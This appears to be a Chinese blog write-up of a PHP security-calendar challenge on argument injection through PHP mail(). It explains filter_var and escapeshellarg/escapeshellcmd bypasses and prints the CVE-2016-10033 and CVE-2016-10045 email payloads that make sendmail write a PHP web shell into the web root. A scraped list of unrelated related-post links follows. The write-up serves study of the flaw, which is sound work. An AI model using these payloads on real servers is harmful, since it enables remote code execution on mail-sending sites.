PHP mail()可能导致的问题
参考文献:https://xz.aliyun.com/t/2501
题目网址:https://www.ripstech.com/php-security-calendar-2017/
环境:
php version < 5.2.0
phpmailer < 5.2.18
php 没有安装 pcre(no default)
safe_mode = false(default)
题目
class Mailer {private function sanitize($email) {if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {return '';}return escapeshellarg($email);}public function send($data) {if (!isset($data['to'])) {$data['to'] = 'none@ripstech.com';} else {$data['to'] = $this->sanitize($data['to']);}if (!isset($data['from'])) {$data['from'] = 'none@ripstech.com';} else {$data['from'] = $this->sanitize($data['from']);}if (!isset($data['subject'])) {$data['subject'] = 'No Subject';}if (!isset($data['message'])) {$data['message'] = '';}mail($data['to'], $data['subject'], $data['message'],'', "-f" . $data['from']);}
}
$mailer = new Mailer();
$mailer->send($_POST);
①mail()函数
整体来看此题目是发送邮件的,先看下mail()函数
的用法
mail(to,subject,message,headers,parameters)
to 必需。规定邮件的接收者。
subject 必需。规定邮件的主题。该参数不能包含任何换行字符。
message 必需。规定要发送的消息。
headers 必需。规定额外的报头,比如 From, Cc 以及 Bcc。
parameters 必需。规定 sendmail 程序的额外参数。
②filter_var()函数
filter_var($email, FILTER_VALIDATE_EMAIL)//邮件过滤器,确保在第5个参数中仅使用有效的电子邮件地址mail()
filter_var(variable, filter, options)函数通过指定的过滤器过滤变量。如果成功,则返回已过滤的数据,如果失败,则返回 false
variable 必需。规定要过滤的变量。
filter 可选。规定要使用的过滤器的 ID。
options 规定包含标志/选项的数组。检查每个过滤器可能的标志和选项。
此函数在双引号中嵌套转义空格仍然能够通过检测。同时由于底层正则表达式的原因,通过重叠单引号和双引号,欺骗 filter_var()
,这样就可以绕过检测。
一个简单的例子:
<?php
var_dump(filter_var('\'is."\'\ not\ allowed"@123.com',FILTER_VALIDATE_EMAIL));
var_dump(filter_var('"is.\ not\ allowed"@123.com',FILTER_VALIDATE_EMAIL));
var_dump(filter_var('"is.""\ not\ allowed"@123.com',FILTER_VALIDATE_EMAIL));
?>
③escapeshellcmd()函数
引入的特殊符号,虽然绕过了filter_var()
的检测,但PHP的mail()
在底层调用了 escapeshellcmd()
,对用户输入的邮箱地址进行检测,即使存在特殊符号,也会被 escapeshellcmd()
处理转义,这样就没办法达到命令执行的目的了。
但还调用了escapeshellarg()//把字符串转码为可以在 shell 命令里使用的参数
,此函数将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,确保能够直接将一个字符串传入 shell 函数(含 exec(),system(),反引号
)
一个例子
<?php
$a="127.0.0.1' -v -d a=1";
$b=escapeshellarg($a);
$c=escapeshellcmd($b);
$cmd="curl ".$c;
var_dump($b)."\n";
var_dump($c)."\n";
var_dump($cmd)."\n";
system($cmd);
?>
- 传入的参数是
127.0.0.1' -v -d a=1
escapeshellarg()
先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。处理之后为:'127.0.0.1'\'' -v -d a=1'
- 接着
escapeshellcmd()
对第二步处理后字符串中的\
以及a=1'
中的单引号进行转义处理,结果为:'127.0.0.1'\\'' -v -d a=1\'
- 第三步处理之后的payload中的
\\
被解释成了\
而不再是转义字符,所以单引号配对连接之后将payload分割为三个部分:
'127.0.0.1'\
\'' -v -d
a=1\'
- 所以这个payload可以简化为
curl 127.0.0.1\ -v -d a=1'
,即向127.0.0.1\
发起请求,POST 数据为a=1'
。
根据此漏洞有两个实例:
CVE-2016-10033
payload:
a( -OQueueDirectory=/tmp -X/var/www/html/x.php )@a.com
然后通过 linux 自身的 sendmail 写log的方式,把log写到web根目录下。将日志文件后缀定义为 .php ,即可成功写入webshell。
CVE-2016-10045
payload:
a'( -OQueueDirectory=/tmp -X/var/www/html/x.php )@a.com
PHP mail()可能导致的问题相关推荐
- spring发送邮件收到方显示为无主题,内容和附件都显示不正常
1.前情提示 关于怎么在spring中集成发送邮件,不是本文重点== 无论是简单的文本格式还是html格式,还是velocityEngine模板,集成起来都不是很难.本文旨在记录一个BUG,当你完全正 ...
- 解决WordPress博客安装插件时提示输入FTP用户名和密码的问题
http://www.lajiz.cn/1310.html 自从垃圾站博客从电信通搬家到万网虚拟主机后,总是出现问题,刚开始是万网M3主机禁用mail()函数导致WordPress博客无法发送评论回复 ...
- 微软Live Mail包含重大Bug,可导致用户无法登录,我已经一个多月无法登录自己的邮箱了。...
微软Live Mail包含重大Bug,可导致用户无法登录,我已经一个多月无法登录自己的邮箱了. 我是微软Live Mail 的试用用户,自从上个月十几号开始,我的邮箱就无法登陆了. 当时的错误信息是: ...
- Java Mail 附件名太长导致接收端附件名解析出错
http://blog.csdn.net/fl_zxf/article/details/60126910 http://blog.csdn.net/wty19/article/details/5060 ...
- Mail Archiving Expert电子邮件归档专家
概况 作为企业往来最通用的交流工具,企业中有95%以上的文件都是通过邮件来传递与沟通,但是一旦当邮件服务罢工,影响的不仅仅是企业信息交流无法正确与及时的传达,更可能影响企业与客户之间的交易,其后果更是 ...
- php mail函数_PHP发送电子邮件函数mail详解
重要:本文最后更新于2019-10-09 08:49:07,某些文章具有时效性,若有错误或已失效,请在下方留言或联系代码狗. PHP作为一门使用广泛的脚本语言,经过这么多年发展已经非常完善了,发送电子 ...
- 使用Java mail发送邮件附件出现附件上产生.eml文件夹的问题及附件名.bin结尾问题...
近期,线上项目发出邮件是PDF附件但收到的邮件附件格式却不是PDF,发送邮件的技术为JAVA mail 经复现错误现象为下图: 163邮箱: QQ邮箱: eml问题排查思路: 1.首先,排除附件本身的 ...
- php配置email支持_配置php自带的mail功能
之前弄php的时候,需要录制屏幕,就是用php自带的email函数发信,因为没有自己弄过smtp的 服务器,网上提供的smtp服务器都是需要使用密码认证 的,偏偏php内置的函数就没有提供身份认证,也 ...
- 无线基站侧的信令风暴根因——频繁的释放和连接RRC产生大量信令、设备移动导致小区重选信令增加、寻呼信令多...
全局思维(核心网和无线基站侧都会有信令风暴): LTE网络系统可能出现信令风暴的原因,大致可以总结出以下几点: 1.网络架构的变化,导致4G核心网信令流量较2G/3G大幅增加 a)架构扁平化:LTE网 ...
最新文章
- (28)SpringBoot启动时的Banner设置【从零开始学Spring Boot】
- 协作与大数据构建新型打假模式
- Issue 140: Tweet
- 机器学习中用来防止过拟合的方法有哪些?
- 【华为HCNA】访问控制列表ACL实例配置
- MySQL字符集LATIN1转UTF8
- URL,URLConnection,HttPURLConnection的使用
- MySQL数据库索引查询
- 51单片机入门之点阵
- 二维码在线生成 扫描二维码打电话 扫码拨号
- 访问共享服务器的没有权限文件夹权限设置,访问共享文件夹的时候提示没有权限访问网络资源怎么解决...
- 基于Web的代码编辑器 Ace的使用
- leetcode LCP 03. 机器人大冒险
- 联想TinkPad S3-490 后盖拆机教程
- 数据扒一扒《隐秘的角落》到底怎么火的?
- vue项目实现表格定时滚动
- 图。Dijkstra标号算法(最短路径)
- 使用记账软件记录生活收支明细,如何防止收支不被他人修改
- android studio开发下落四子棋
- 在超过1600千米的传统的单模态(SMF-28)光纤上使用脉冲载波抑制正交相移键控调制实现7*225Gb/s的奈奎斯特波分复用传输技术...